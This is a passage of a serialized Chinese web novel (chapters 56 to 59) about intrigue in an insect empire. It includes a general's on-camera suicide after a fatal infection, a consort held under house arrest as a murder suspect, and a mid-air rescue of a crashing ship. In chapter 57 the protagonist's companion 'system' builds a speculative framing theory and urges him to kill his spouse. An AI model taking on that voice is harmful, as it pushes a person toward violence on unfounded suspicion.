“夏尔巴跟了你很多年了,为什么会突然对你下手?” “好问题。我也不知道,他最近也没接触什么外来虫……”话说到这里,萨迦突然顿住了。 “怎么了?” “你还记得布里奇吗?那个平民雄虫。” 奥古斯特当然记得,他甚至还记得最初就是西奥让他帮忙把这个平民雄虫要到自己手里的。原本他没打算插手的。后来好像还在精神力实验中当中帮了点忙。 “我带他回到第一军团之后,他并没有立刻离开。因为这里的雄虫本就很少,所以他最近跟夏尔巴走得很近。” “你知道这意味着什么吗?”萨迦问。 “布里奇背后的第四军团要对你下手。” 萨迦摇头,“如果只是第四军团的话,没有什么好担心的,我害怕的是……” “西奥也跟这件事情有关。” 这的确也是奥古斯特所害怕的,“事情还没有定论。” “确实。”萨迦叹气,“如果他有问题的话,第一个遭殃的应该是你,而不是我,对吧?” “该死的,奥古!”奥古斯特能听到萨迦的呼吸在颤抖,“我从来没想过……” “自己会是这种死法。” “萨迦!”奥古斯特留意到萨迦语气中微妙的区别,“不要……!” “我的精神力,刚才停滞了。”萨迦抬头,阿凯特斯蓝眼珠旁边,布满了细密的血丝,“不要什么?我还有多久,十分钟吗?” “或许还有希望,你的精神力,你是莫德神兵……” “如果真的有希望的话,当初托亚扪事件的时候,你就不会下令开枪了!” “你那时候问过西奥了,对吧?他看到了多少个未来?有多少个是让弗雷德最终活下来的?” “一个都没有,对吧?” 奥古斯特只是沉默。任由萨迦质问,怒吼。多年的好友、同袍,最接近亲虫的存在。 “这一天总会到来的,对吧。”萨迦抹了把脸,语调重新归于平静,像是暴风雨之前的寂静,“莫德神兵的操蛋的基因,能活到我这个年纪,已经是幸运了。” “萨迦,对不起……” “你有什么好对不起的?又不是你导致我感染的。哦,不过,等这件事情搞定以后,请一定要给我报仇!” “如果我没有指定你为继任者,或者没有急着推进管制非法精神力的法案,或许就不会……” “天呐!奥古斯特,你应该知道,你没办法拯救所有虫。这又不是你的错。我只是……啊,我感觉有点冷。” “你还记得我们的0号测试吗?那是一个能冻死虫的冰原星球。为了活下去,什么事情都会发生。我还记得我的双胞胎弟弟,他的心脏,就在我的手心里,热乎的,跳动的……跳吗?我不记得了……” “萨迦!萨迦!!!” 萨迦拔出了自己的手枪,另一只手从前向后插入自己的发间,将汗湿的几缕刘海捋了上去,“我真希望西奥的精神力还在。他会用那个温柔的坚定的声音告诉我,未来究竟是个什么样子。要是知道将来会发生什么,我肯定能走得安心一点……” “萨迦,别!” “对不起,奥古,你恐怕得另外找一个继任者了。”枪口被萨迦抵在了自己太阳穴上,“还有,你得跟我保证,弗雷德会成为新的第一军团长。” “我保证……但是,再坚持一下,好吗?” 萨迦笑了一下,“不。” “我还是那个自私的混蛋,所以我可受不了自己变成病毒的傀儡,到时候还不知道要做出什么事情!” “我可是SSS级别啊,要是我想,整个基地都可能毁在我的手里。” “这里真的很冷,奥古斯特。” “该死的,奥古,我真的……好害怕啊……” 砰!!! 枪声响起的瞬间,奥古斯特下意识别开了视线。等他再次看回来时,摄像头已经被鲜血覆盖,几乎看不清另一边的情况。萨迦的声音也消失了,只能听见背景里面的警报声,正持续不断的响起。 “萨迦?”奥古斯特仍然尝试呼唤对面的挚友。 “陛下。”在旁边围观了全程的诺亚上前一步,“我想萨迦上将已经……” 奥古斯特闭上眼睛,头颅缓慢地低垂下去。 办公室里寂静无声,除了模糊的警报。奥古斯特变成了一座坚实的雕像,沉默、又悲伤。 这种安静持续了三秒。 奥古斯特重新抬起头,“首都星现在的状况?” “一切安全。第二军团没有任何动静。”诺亚轻轻松了口气,迅速汇报。 “第一军团那边呢?” “目前为止平安无事,没有袭击,也没有叛变。驻地那边,目前由乔纳森中将暂时接管。” “弗雷德呢?” “正在赶回驻地。”诺亚挑着重要的内容汇报,“您打算让他接任第一军团长的职务吗?” 奥古斯特沉默了两秒,最终点了点头。 大概十分钟之后,视频的另一端再次出现了另一个身影,鲜血被拭去,视野重新清晰。 是弗雷德,他带了一个防护面具,遮住了半张脸。他低头看了一眼萨迦上将,然后重新看向这个仍旧在通话中的手环。 “雌父。” 奥古斯特点了点头,“所以,你准备好成为新的第一军团长了吗?这恐怕会是个艰巨的烂摊子。” “看样子,我们也没得选了,不是吗?” “不,小弗。”奥古斯特说,“不论如何,事情都有得选。我是在问你,愿不愿意承担这份责任?上将和中将之间,绝不止一个军衔的差别。这份责任,可能比你以为的要沉重许多。” 弗雷德垂下视线,萨迦叔叔的脑袋上破了个洞,眼睛还在半睁着,表情倒是还算平静,却依旧代表着突如其来的死亡。 一切发生的太快了,他还在消化这个事实。 弗雷德蹲下来,然后轻轻为萨迦合上眼。 然后重新站起来,神情坚定,“是的,陛下。” “我愿意接替第一军团长的职务。” “我会摆平这个烂摊子,然后找出凶手,为萨迦叔叔报仇。” “我以哥哥的名字,在此起誓。” …… 虽然在奥古斯特面前做了郑重的承诺,但等真的接手整个军团,尤其是刚刚经历了萨迦的突然离世,一大堆的事情等着他处理。 内部的,要封锁清理疫情现场,顺着萨迦的感染线索排查所有的感染途径,确保不会出现布氏感染的疫情暴发。梳理之前的所有军务,按照现有的情况重新布置。 外部的。一个军团长的去世是很难瞒得住的。已经有不少势力开始蠢蠢欲动,小心试探。 而他只是弗雷德,一个年轻的没有多少战斗经验的中将,而不是曾经那个只是凭借名声和存在就能够震慑住其他军团的萨迦上将。 焦头烂额都不足以形容弗雷德的现状。雌父和皇家护卫队那边可以提供一些建议和帮助,但因为距离限制毕竟非常有限。 唯一安慰的是,第一军团的另一个副官,乔纳森中将一直在帮忙。在弗雷德之前,他是最有可能接任第一军团长的职务的那个军雌。 在忙得脚不沾地的同时,弗雷德也抽空问了乔纳森一句,“关于我接任军团长的事情,您有什么看法吗?”其实就是想问,您有什么异议吗? “萨迦上将选择了你。”乔纳森说,“而我相信上将。” 但是在所有的事情当中,最关键的还是要找出感染途径。 萨迦的雄主夏尔巴已经确认死亡,按照他生前留下的视频记录,弗雷德关押了布里奇。 审讯室内,布里奇坐的端正,他不再像以往那样瑟缩小心,而是终于挺直了脖子,打开了肩膀。 “是你将布氏病毒传染给了夏尔巴吗?” “是的。” “为什么呢?” “因为我想要借他的手,杀死萨迦上将。” “为什么你想要杀死萨迦?这是诺拉维亚给你的任务吗?” “不。”布里奇面露微笑。 “这是西奥院长给我的任务。” 作者有话说: RIP 第57章 第57章软禁[VIP] 收到楼下克莱恩电话的时候, 西奥正在啃一篇论文。虽然已经计划好了要离开,但在那之前,还是要做好自己力所能及的一切。 “诺亚上将来了。”克莱恩的话言简意赅, “带了很多士兵,看起来气势汹汹的。” “感觉有点奇怪, 所以特地跟您说一声。” “一切都还好吗, 院长?” “呃……是的, 一切都好。谢谢告诉我。” 不, 一切都不好。西奥迅速切断电话。然后仔细回想起过去几天里发生的事情, 所有的细节。 但一切都很平淡, 计划推进得很顺利, 没有任何值得注意的地方。 那为什么诺亚会突然来研究院找他?是发现了什么吗?飞船、金条,离婚协议书,到底是哪里露出了马脚?这种明目张胆的行为, 肯定是发现了不得了的事情吧? “不是现在吧?”西奥再次跟系统确认。 “不是啊,宿主, 还没到时间呢!” 那这就很奇怪了。但西奥还是抓起外套,然后从侧边的楼梯下去, 进了实验室。 按理说, 诺亚很熟悉研究院的构造, 只需要一两分钟就能够找到他,但不知为何,过了七八分钟, 西奥才终于在实验室里见到了姗姗来迟的诺亚。 这位虽然毒舌,但外表依旧阳光开朗的上将, 今日的表情却相当阴郁。 一定有事情发生了。很重大的、西奥不知情的事情。 西奥拿不准对方到底查到了什么,也只能佯装毫不知情, 从实验台后站起身来,顺便往口袋里踹了一把鼠粮。 “诺亚?你怎么来了,有事吗?” “陛下让我们请您回去一趟。有急事。”语气还是客气的,西奥多少松了口气。 “什么事?” “等您回去之后,陛下会亲自跟您详细解释的。” “等一下,我换个衣服。” 诺亚并没有阻止或者催促。西奥在慢条斯理地洗手换试验服的时候,装作不经意问道,“我需要安排一下研究院后续的工作吗?” 这次“回去”,是暂时的,还是要持续一段时间? 诺亚摇摇头,“不需要。” “哦。”这倒是出乎西奥的意料。所以,这不是针对自己的逃跑的? “研究院接下来也会接受调查,应该会暂停一段时间。” “对不起,你说什么?” “有一项牵扯重大的刺杀,直接的凶手曾经在研究院工作过。” “刺杀?!”上次西奥看到这个词,还是在小说上,他迅速意识到了什么,“刺杀成功了?奥古斯特没事吧?!!” 刺杀,应该都是针对皇帝的吧。 “放心吧,陛下没事。” 等西奥跟着诺亚回到皇宫,才知道究竟是谁出事了。 萨迦死了。死于布氏感染,而凶手则是…… 布里奇。 “怎么会?!”西奥认识布里奇,在他印象里,那是个命运悲惨、胆怯善良的平民雄虫,怎么看都不像是能做出刺杀这种惊世骇俗的事情的虫。 这在西奥看来,简直就是离谱他妈给离谱开门——离谱到家了! “等下,你说萨迦被感染了。那弗雷德呢?他没什么事吧?”弗雷德是萨迦的副手,平日里工作也经常在一起。毕竟是亲生的虫崽,还是难免担心。 “弗雷德没事。他已经按照陛下的命令,接替了第一军团长的职务。正在驻扎地负责本次事件的相关后续处理和调查。” “那就好。” “但布里奇,他为什么……要杀萨迦?!”萨迦不是救了他吗,从第四军团的手里。西奥甚至曾经误会过布里奇对萨迦有想法! “根据他自己的供述,是您让他杀的。” “什么?!”西奥愣住了,这个惊天大转折是他完全没有预料到的! 然后下意识反驳,“我没有啊!” 什么叫人在家中坐,锅从天上来!西奥最近的确有些比较心虚的小九九,但最多也就是民事范围的诉讼离婚,绝对上升不到刑事方面。哪怕起初他确实对奥古斯特起了一丁点杀心,但等冷静下来,也都一并烟消云散了。 说白了,西奥根本不是做杀手的材料。 “我什么都没做啊!!!”西奥再次向诺亚强调自己的清白。 诺亚没有肯定,但也没有否定,“别着急,目前案件还在初步的调查阶段。” “怎么可能不急?”无论如何,西奥都不允许谋杀的帽子扣到自己头上,“奥古斯特呢?他什么意思?!” “让您回到皇宫,就是陛下的意思。这也是为了您的安全。” 是吗?西奥心中依旧惊疑不定,但也再多问什么。他现在被打个措手不及,也只能见招拆招。 说话间,两个虫已经回到了卧室。诺亚转身,挡在了卧室门口,“现在事情还没有完全公开,希望您也暂时不要声张。” 西奥点头,“我知道。我还是很难相信,萨迦已经……” “我还挺喜欢他的。在雄虫谋杀案发生的时候,他帮了不少忙。是那种看起来有点不着调,但实际上特别靠谱的那种军雌……” “已经发生的事情,就是已经发生了。”诺亚冲西奥伸出手,“为了避免声张,请您把手环暂时交给我保管。” 西奥已经解下手环,才意识到了什么,“手环,什么时候还我?” “可能要等调查出了结果。” “那要多久?” 诺亚叹了口气,把手环从西奥手中拿走,“可能,要等陛下说了算。” 诺亚退出卧室,却依旧拦在门口处,“另外,最近这段时间,还希望您尽量不要外出。” 在诺亚即将关门的时刻,西奥眼疾手快握住了门框,“诺亚,你要软禁我吗?这也是奥古斯特的意思吗?!” “抱歉,我只是听命行事。” “即便这个命令是错误的,也没关系吗?” 诺亚没有回答,红发军雌明明跟奥古斯特长得一点儿也不像,此刻却也因为同样的面无表情让西奥恍惚产生错觉。 他们才是一体的,这些……手握权力的军雌。 卧室房门最终被关闭。听声音,诺亚离开后,门外又多了两个站岗的军雌。 西奥彻底被软禁在了这一方小小的空间内。别说原有的逃跑计划了,现在就是离开卧室都成问题。 这一连串的变故,太快太急,简直让西奥措手不及。 萨迦真的死了吗?真的是布里奇杀了他吗?为什么布里奇要把黑锅甩给自己,是第四军团要嫁祸他?奥古斯特真的以为自己是凶手吗?还是只是将计就计,用这个罪名来控制自己? 不管怎么样,名目张胆软禁自己,绝对不是个好兆头。 毕竟之前还假装一些恩爱亲密,现在直接演都不演了! “系统?”西奥询问此刻唯一能够联系到的同伴。 “我在。” “给我点线索,关于这本书,关于这个故事。我现在太乱了。”西奥坐在床头,佝偻着身体,双手插进发间,顿时把整整齐齐的银发揉得乱七八糟。 “既然是反派,那囚禁宿主,也很正常吧?” “哪里正常了?!”西奥感觉自己大脑都要炸了,“布里奇?杀了萨迦?这怎么看都不正常吧!” “任何不正常的事情背后都有符合逻辑的原因。宿主,萨迦死了,然后指认您是凶手,得利的是谁?” “第一军团失去了上将,那得利的肯定是其他军团,我猜是第三或者第四军团,甚至公爵的第二军团?” “可是宿主,第一军团并没有失去上将,只是失去了萨迦。” 西奥已经听出了系统的言外之意,“不,不不不……” “奥古斯特很看重萨迦,不可能为了诬陷我,丢掉了自己最重要的助力。” “但如果这个助力,有了异心呢?宿主不是听到过反派跟萨迦争吵吗?还挺严重的。” “而且只有萨迦死了,弗雷德才能名正言顺的上位。” “不,不……”西奥仍旧在否定,却听系统继续分析道:“别忘了,反派曾经毫不留情杀了自己的虫崽。” “一个战友而已,就能把权力更紧地握在手中,还能顺便剥夺宿主你的精神力研究院,和你的自由……” “奥古斯特可是本书最大的反派,什么事情做不出来呢?” “所以,宿主该做的不是逃跑,而是杀了他。只有杀了他,才有可能逃出去!” 西奥没再继续反驳,喃喃复读道:“杀了他?” “对!杀了他!” 恍惚当中,房门被打开了。这次进来的军雌是克利夫,“西奥阁下,我需要给您做几个常规检查。麻烦配合。” …… “我听说你把雄父带回皇宫了?”焦头烂额的弗雷德在听说西奥那边的情况后,还是立刻给奥古斯特打了通电话,“你不会真的怀疑他吧?!” “我查过布里奇的底细,他的雌父雄父,雌君和家里的两个虫崽,都被诺拉维亚扣押了。很显然他是因为被威胁,才会故意指认雄父的。证词根本不可信!” 奥古斯特摇摇头,“我不是因为布里奇的证词,才把西奥留在皇宫的。” “那就是因为萨迦的推测?好吧,我承认他说的有点道理,但是那可是雄父,而且你不是一直在用他的信息素吗,这还不够证明他没有被感染吗?” “萨迦提到过幻听的事情,西奥也有类似的情况。而且布里奇能够顺利进入第一军团,是通过了体检的。负责给他做体检的雄虫医生,你也很熟悉,是吉尔。” 弗雷德的表情僵住了,“他是不是……” “对,他也是西奥的家庭医生。”奥古斯特说,“各项检查和体检报告,关于西奥的身体状况信息,全部来自于他。甚至几个月前那次,给西奥做开颅手术的,也是他。” 弗雷德表情有点崩溃,“也就是说,他有无数的机会,感染雄父……” “我已经派出皇家护卫队去了吉尔的住处和研究院,都没有发现他的踪迹。他似乎就这么凭空消失了。各大航空港口也在拦截,目前还没有任何消息。” “这是畏罪潜逃。”弗雷德总结道,“但是为什么?我们跟吉尔已经认识很久了,信得过他才让他担任家庭医生。我们被骗过就算了,雄父怎么都不至于被骗吧……” “雄虫的感染例子太少,我们并不知道究竟会发生什么。”奥古斯特冷静异常,“至于西奥,他只是能预知未来,并不是全知全能。” “你是说,吉尔可能早就被被感染了?根本就不是我们认识的那个医生了?” “那现在怎么办?你把雄父扣在皇宫里,然后呢?如果他真的被感染了,您要怎么做?” “难道真的要执行标准的消杀流程吗?!” 作者有话说: 久等了!!! 第58章 第58章坠落[VIP] 奥古斯特很清楚什么是标准的消杀流程。 布氏感染自几百年前第一次出现以来, 就是医学上的超级难题。这个疾病像是凭空冒出来的,时不时就要在军队中爆发一次,但是每次的规模都不大, 往往只有一个或者个位数的患者。当时最典型的症状是行为异常,以及迅速的死亡。 直到布兰登博士对一些病例进行合并研究后才发现, 这一疾病更为显著的特征其实是对精神力失去掌控, 继而死亡。也因此, 为了纪念布兰登博士的贡献, 这一病症被命名为布氏感染, 或者布氏病。 布兰登之后又过了将近两百年, 无数研究者前赴后继, 终于对布氏感染有了更多的了解。这是一种针对雌虫精神力和脑神经的感染,典型特征是精神力的丧失,行为异常甚至失控, 以及脑部的雪花状蔓延特征。患者会在被感染的二十四小时内发病,并迅速死亡。 但是这些特征都是后期才出现的, 前期感染的患者,几乎无法检测出任何有效的特征。这个窗口期也为布氏感染的隐秘传播提供了条件。 于是几百年过去, 尽管一直在了解、一直在进步, 但是布氏感染始终没有消失, 甚至还在近年有了更频繁、更密集的爆发征兆。 “这感觉很诡异,就好像我们在研究病毒的同时,病毒也在研究我们。而且这种病毒的组成形态, 居然是硅单晶体,跟芯片是一个材料, 所以会凝成雪花状蔓延。跟我们常见的生命形态完全不一样……”西奥曾经跟他这样说过,又是惊叹, 又是担忧。 因为患者失控的行为通常都很危险,包括但不限于杀害同僚,破坏设施等等,在军雌内部,也会把布氏感染叫做僵尸病。这代表一旦感染,根本无药可医,只能隔离并等待死亡。 为了能够尽可能控制感染,将损失限制在可控范围内,西奥曾经牵头制定过一系列的相关规章。其中就包括布氏感染的标准消杀流程。 实际上,每个在军中待了一段时间的军雌,都会经历过几次大大小小的布氏感染防控。奥古斯特也不例外,托亚扪事件,只是其中一次。 几乎每个军雌,都会将布氏感染消杀流程里面的三尽原则熟记在心:尽早尽快尽力。 而最后一条尽力,就意味着当感染指征已经非常明显,当所有的治疗已经毫无用处,当患者已经步入了疾病的终末期,那么,就只剩下唯一的道路。 一条绝路。 百分之三十一还有意识的感染者会在得知后选择自杀,百分之五十二的选择了接受外部处置。这话说的好听,其实也就是让同事帮个忙,送他上路。 所以,军雌一旦确认感染,死亡立刻变成了迫不及待要降临的命运。 当年在托亚扪能源中心,奥古斯特不是没有过动摇。不管处理过多少次感染事故,面对自己的虫崽,同样会下不去手。但西奥说,他说…… “我不想连你一同失去。” 奥古斯特不仅是弗雷德的雌父,更是整个帝国的掌权者,还是一个远算不上安稳和平的帝国。统一不过几十年光景,如果奥古斯特此时出事,分崩离析恐怕只需要短短几天。 更重要的责任,更多虫的利益,更理智的选择。 只是没想到,也迎来了更汹涌的反噬。 奥古斯特的精神世界,远没有他的身.体那样坚不可摧。 于是萌生退意。于是,在又一个类似的抉择摆在面前的时候,奥古斯特选择了偏袒。他同样,无法接受失去西奥的结果。 只是,上一次他进隔离室的时候,萨迦还在。如果真的出了什么意外,奥古斯特能够放心把所有事情交给他。现在…… 他并不放心小弗一个虫在那么短的时间内、挑起那么重的担子。 “雄虫跟雌虫不一样,他们的窗口期更长,表现也不尽相同。所以我会执行标准的隔离流程,等检查结束……” 正说着,奥古斯特收到一份报告,新鲜出炉的西奥的身体检查报告。 脑部图像很清楚,奥古斯特看到惨白的雪花,从大脑一个角落,缓慢地蔓延出去,已经铺满了小半个大脑皮层。 阿凯特斯蓝色的双眼,立时变成了氤氲水汽的湖泊。 “雌父?!怎么了?”另一边弗雷德急得大叫,“你看到什么了!” “是西奥的脑部图像结果……” 不需要奥古斯特直接说,弗雷德已经从他的表情里读出了结果。“不!”弗雷德摇头,“不,不会的!” “你都没事,那说明雄父也是好的!” “我正在防控中心的隔离室内。”奥古斯特解释道,“门外有诺亚,和其他两位SS级别的军雌守着,以备不时之需。” 这个不时之需是什么,谁都明白。 “不……”弗雷德看起来要碎了,“不会的!” “距离我上次接触西奥的信息素,还没有超过24小时,这是标准的消杀流程。” “小弗,崽崽……”奥古斯特冷静又沉着,仿佛刚才讨论的不是自己和雄主的生死存亡,“这次我们遇到的困难,可能比以往都要严峻。很显然,对方在下一手大棋,西奥、布里奇,萨迦,以及我。都是其中的一个环节。” “对方的目的很明确,也很有效。现在,应该已经是他们收网的时候了。” “我们都知道,对手这次很多时候走在了我们前面,肯定有什么我们目前不知道的情报方法。但不代表这是一个死局。相反,我们仍然有机会反败为胜。只是,可能需要做出一些牺牲。” “弗雷德,诺亚,接下来的每一句话、每一个字,我希望你们都能仔细听好……” …… 一天之内,听了两份遗言。还都是来自于SSS级别的两位顶尖战力,诺亚觉得,这一定能进入他这辈子的巅峰时刻前三了。 萨迦的死,他们已经尽力去瞒,但各个军团之间彼此都有势力互相渗透,像这样重大的情报,肯定瞒不了多久的。第一军团外围,已经有一处哨所遭到了袭击。 但首都星,依旧是风平浪静,像是什么都没有发生一样。 越是这样,诺亚的心中愈发不安。就好像有什么重要的事情,马上就要发生了一样…… 黎明前的黑夜,大战前的寂静。 于是,在这种不安和等待中,在得到一艘公用交通飞船脱离轨道的报告后,诺亚反而松了口气。甚至有种,就这?的诡异感觉。 但等他看到坠毁轨迹和乘客名单的时候,诺亚笑不出来了。 这艘飞船,爆炸强度等同于一颗核弹的飞船,居然是直冲着皇宫来的!而且不知道为何,速度快到离谱,从发现异常到距离坠毁,居然只有短短三分钟的时间!自动驾驶和警报系统仿佛完全坏掉了一样! “我们可以启动地对空防御系统,进行拦截。”诺亚提议,“或者直接用皇宫上空的防护罩。” “无论如何,这艘飞船没办法对皇宫造成损害。” “这样一来,上面的几百个乘客,必死无疑。”奥古斯特指出了这样做的代价。 “那也没办法,速度太快……我们救不了他们的。” “我能救。”奥古斯特说,“这次跟之前阿尼亚号的情况很相近。我可以用精神力丝线进行加速,达到速度同步后对飞船进行切割拆解,把乘客们救出来。” 诺亚立刻反对,“不行!这样肯定会浪费大量的精神力!您还在隔离监测期间,本身就一直在消耗精神力,这样会不够的!” “我去吧!”诺亚主动请缨,“我可以尝试飞过去靠近,然后再用精神力切割。” 奥古斯特摇头,“你没有经验,而且速度不同步,失败概率太大。” “更何况,都知道我能做到,却偏偏让你去,不就刚好验证了对方的猜测吗?”奥古斯特说,“他们就都会知道,我出问题了。” “你猜飞船为什么偏偏这时候要砸到皇宫里来?” 诺亚捏紧了拳头,“但是如果精神力不够的话,精神海枯竭,不一样是绝症吗!” 布氏感染和精神海枯竭,军雌的两大疑难绝症,的确很难抉择。 “我觉得差不多够用。”奥古斯特示意把隔离室的门打开,与此同时,指尖还在持续不断地抽出精神力,“还有多久?” “一分三十七秒。” 就在奥古斯特要离开的时候,诺亚再次上前拦了一下,“陛下,您……可以不救的。” “我看过乘客名单,上面没有什么重要的虫。都是些普通虫。”说这话时,诺亚低着头,不敢看奥古斯特。 “你说得对,”奥古斯特答,“我可以不救。” “但是,我不能。” “你明白吗?我不能。” “诺亚,记住我先前说的话。” …… 在被关进卧室里之后,西奥就一直尝试去外面。但不管如何撒爬打滚,门口的守卫始终不为所动。 “我要见奥古斯特!听到没,我要见他!!”这话被西奥用录音笔录好,然后循环播放。 可惜,门口的两个守卫依旧石头一样,冷冰冰不动。 西奥唯一能说上话的还是来给他检查的克利夫,但是很快他也走了,还没跟他说任何检查结果相关的事情。 时间就这样到了傍晚,就在西奥因为没有虫理会自己,已经开始给藏在衣服里的科特鼠偷偷喂鼠粮的时候,房门再次打开了。 是诺亚,他还带了一份晚餐。 “你来做什么?”西奥面色不善,也不愿再伪装,语气自然也好不到哪里去。 晚餐被放在桌子上,“来给您送晚餐。” “我不吃!” “那是您的选择,我只负责送。”循环播放的录音笔被摁停了,“您想看陛下是吗?” 西奥狐疑地看向诺亚,“奥古斯特会见我吗?” “面对面的短时间内恐怕不行。” “不过,”诺亚打开了卧室里面那个投影电视,“你可以看这个,陛下在里面。” “什么意思?”西奥安抚几下科特鼠,把它揣兜里,扭头看向电视。然后才意识到,这好像是现场直播。 仔细一看,场景还很熟悉,这不就是霍尔德宫殿吗?还是俯视的视角。 “这是要干什么?奥古斯特在哪?” 但是诺亚没有回答他的任何问题。只留下一句“接着看就知道了”,便离开了。 西奥再次看向那场直播,这才发现,楼顶似乎有个小小的身影,因为距离太远,所有刚才没注意。那是奥古斯特?他现在就在自己头顶的天台上? 去那干嘛,表演飞行吗? 很快,西奥的疑问就得到了解答。因为直播的摄像切换到了另一个视角,那是一艘失控的公交飞船,正载着两百多位乘客,失控地砸向皇宫。 “卧槽!”西奥瞬间就坐直了,因为奥古斯特那边不管怎么样,都还有商量的可能性。但是如果这艘飞船直愣愣砸在他头顶上,那肯定当场就活不了了! 所以奥古斯特去楼顶,难道是为了……? “镜头当中是我们的虫皇陛下奥古斯特,他以超高级别的精神力以及特殊的丝线形态而闻名。看到陛下亲自出手,我们就知道这艘飞船上的乘客有救了!” 什么?居然是去救乘客的?不是拦截的?! 这种失控的飞船,跟导弹感觉也没什么区别了。这么快的速度下,他居然还能把乘客救下来?! 紧接着西奥又想起奥古斯特曾经说过,他可以在瞬间将整个皇宫夷为平地。 或许这就是帝国顶级战力的实力,奥古斯特就是能从高速坠落的飞船中为乘客博得一线生机。 强大的实力也曾是西奥心动的原因之一。 镜头切到近景,能看到奥古斯特正高高举起一只手臂,精神力丝线正从指尖源源不断抽出,只是因为太细太快,镜头里看不真切,只能偶尔捕捉到细亮的反光。 但是,只用一只手,是不是有点太傲慢了?这就是绝对强者的实力吗?! 飞船在高速移动时,因为镜头距离很远,看起来只有一个小点,似乎并不大的样子。但等主持人简单介绍型号的时候,西奥才有了这是个几百米长的庞然大物的实感。与之相比,只有两米的奥古斯特简直就是个小不点。 西奥知道奥古斯特既然敢一个虫上,肯定是所把握。他也知道,自己为奥古斯特担心,简直就像是鸡给黄鼠狼拜年,多此一举。但在这个特殊的时刻,在这个天降飞船的情况下,西奥依旧替奥古斯特捏了一把冷汗。 可千万要成功啊! 失控的飞船划着弧线,带着火星一路下坠。距离皇宫越来越近了! 十公里,八公里,五公里…… 就在飞船距离皇宫只剩三公里的时候,飞船骤然解体,四分五裂,其中一块加速坠落,在即将落地的瞬间撞上了某处透明的屏障,直接炸裂开来! 轰——!!! 巨大的爆炸声和冲击波,即便是距离爆炸点有些距离的西奥,也感受到了脚下地板的颤动。 而站在楼顶,直面了冲击波的奥古斯特依旧神色淡然,纹丝不动。强烈的气浪吹动他的衣角和发丝,却没能让他的身体移动分毫。 时不时的,仍有些零部件撞上保护皇宫的透明屏障,但最关键的,是依旧在空中减速的客舱。那里面可是还有两百多名乘客! 哪怕速度已经减缓了许多,但客舱部分仍旧以每秒钟一百米的速度撞向地面,这个速度大概不会引起剧烈爆炸,但是粉身碎骨绝对没问题。 一千米,八百米,五百米…… 越来越近了! 西奥不由自主屏住了呼吸,肩膀绷紧,身体前倾—— 在客舱距离地面只有三百米的时候,速度骤然降低!像是正在飞行的小昆虫一头撞进了蛛网,结果就是被缠住了身子,动弹不得! 客舱越来越低,也越来越慢,越来越缓……直到距离皇宫最高建筑只剩二十米的时候,速度终于为零! 奥古斯特轻轻挥了挥手,将近三百米的庞然大物,便轻轻巧巧落在了皇宫前方的空地上,灰尘都不算多。 直播中顿时爆发出雷鸣般的欢呼和掌声! 西奥也跟着长长地出了一口气!得救了!! 然后就看到镜头中完成了一次绝无仅有的紧急救援后的虫皇,依旧面无表情,嘴角绷紧,缓慢放下手臂的同时,身体轻轻晃了一下。 咦? 镜头迅速被切走,于是西奥便错过了—— 奥古斯特跪倒在地的那一瞬间。 作者有话说: 不小心写多了! 第59章 第59章面对[VIP] 西奥再次面对面见到奥古斯特, 已经是第二天的早晨。 他的心情多少有些复杂。 一方面,奥古斯特杀了虫崽,还想杀他, 现在更是直接变相软禁了自己。另一方面,就在昨天, 他刚刚完成了一次不可思议的壮举, 救下了一整艘飞船的乘客, 也等同于救了差点被砸中的在皇宫里的自己。 在昨天, 奥古斯特绝对称得上是个英雄, 他也同样是个出类拔萃的虫皇。只可惜, 他大概不想只做个简单的雌君, 或者爱崽的雌父。 如果奥古斯特能够一坏到底,西奥大概也不会那么纠结。但他依旧神秘又危险,让西奥看不懂、看不透。他曾经以为看懂过, 然后就被现实和证据狠狠插了一刀,在心口最痛的位置上。 好的部分足以让他心动, 而坏的部分……他无法原谅。 于是来到了今天,此刻。 房门被打开时, 西奥立刻从椅子上坐了起来。 昨天夜里, 他整晚都没睡, 现在右侧的眼眶上方还在隐隐作痛。一些遗留视觉仍然印在他的视网膜上,让视野有些不太清楚。利用系统,也需要付出点代价。 西奥站起身, 面对着、直视着就在不远处的奥古斯特,一时不知道如何开口。 放我出去?感觉没有什么用。 为什么把我关起来?好像同样没什么用。 又或者, 昨天做得真棒? 西奥被自己的这个想法逗乐了,于是在说任何话之前, 他先笑了一下。 这大概给奥古斯特造成了一点微小的困惑。雌虫眉头皱了一下,像是完全不理解他的笑点从何而来,然后率先开口,“我听说,你昨天没吃晚饭。今天也没吃早餐。” 西奥没有想到,经历了那么动荡不安的一天,再次见面,奥古斯特问的第一件事情,居然是自己有没有吃饭。 “我没胃口,吃不下。” “还是多少吃点。” 西奥简直想笑,“我是说,刚刚得知萨迦死了,然后又知道自己成为了头号嫌疑犯,吃饭应该是我最不需要操心的一件事情了吧!” 他完全不知道为什么奥古斯特要在吃饭这种小事上这么纠结,好像是用在琐事逃避些什么。于是直截了当打破这种虚伪的平静,“我没有杀萨迦!” “我没有杀他!我没有任何理由杀他,而且非要说的话,我很喜欢他!萨迦是个很好的军雌,虽然偶尔喜欢开点玩笑……” “我知道。” “什么?”被打断的西奥愣住了,他还准备了一大堆的说辞,一大堆的证据来试图证明自己的清白,但是奥古斯特这句话,让他一下子卡壳了,“……你知道?” “我知道那不是你。” “如果你认为我无罪,那为什么还要把我关起来?”事情的走向越来越让西奥感到困惑了,如果不是要用谋杀萨迦的罪名来诬陷他,那这一通到底是在做什么。“弗雷德知道你把我关起来了吗?” “他知道。” 即便已经有了准备,但听到肯定的答案后,西奥仍旧觉得心狠狠坠了一下。在意识到自己被诬陷和软禁之后,他唯一还抱有那么点希望的虫,大概就只有弗雷德了。不,应该是弗莱特。 不管是谁,那都是他的虫崽。他和奥古斯特的婚姻可以是交易,但是对于虫崽,自己从小亲手养大的崽,他始终认为…… 或许,弗雷德会站在他这边。 “他知道,然后对此有什么反应吗?” “他现在是第一军团长,还需要一段时间来应对和适应。” “你没有回答我的问题。”西奥突然意识到,奥古斯特很久以前就在这么做了。逃避问题,或者含糊不清。总之,作为一个精明的政客,他太清楚什么东西该说,什么不该说了。 或许之前已经有很多次,西奥就这样被奥古斯特绕了进去。 “他……不喜欢我处理的方式。但是他选择尊重。” 当然了。弗雷德当然选择尊重,不然呢,他还能怎么样呢? “因为你是他的雌父,还是因为你是虫皇?” “我想是因为,他相信我。” “是吗?”西奥感觉有什么冲动、被压抑许久的冲动要从胸腔中涌出来了!但他还是深吸一口气,尽量心平气和地问道:“既然你觉得我没有罪,为什么还要把我关起来?” “我是说……虽然你是虫皇,但也总得有个理由吧?” “我没有把你关起来,我只是把你跟其他虫隔离开来。” 西奥简直没听过这么冠冕堂皇的借口,“这跟关起来有什么区别吗?!” 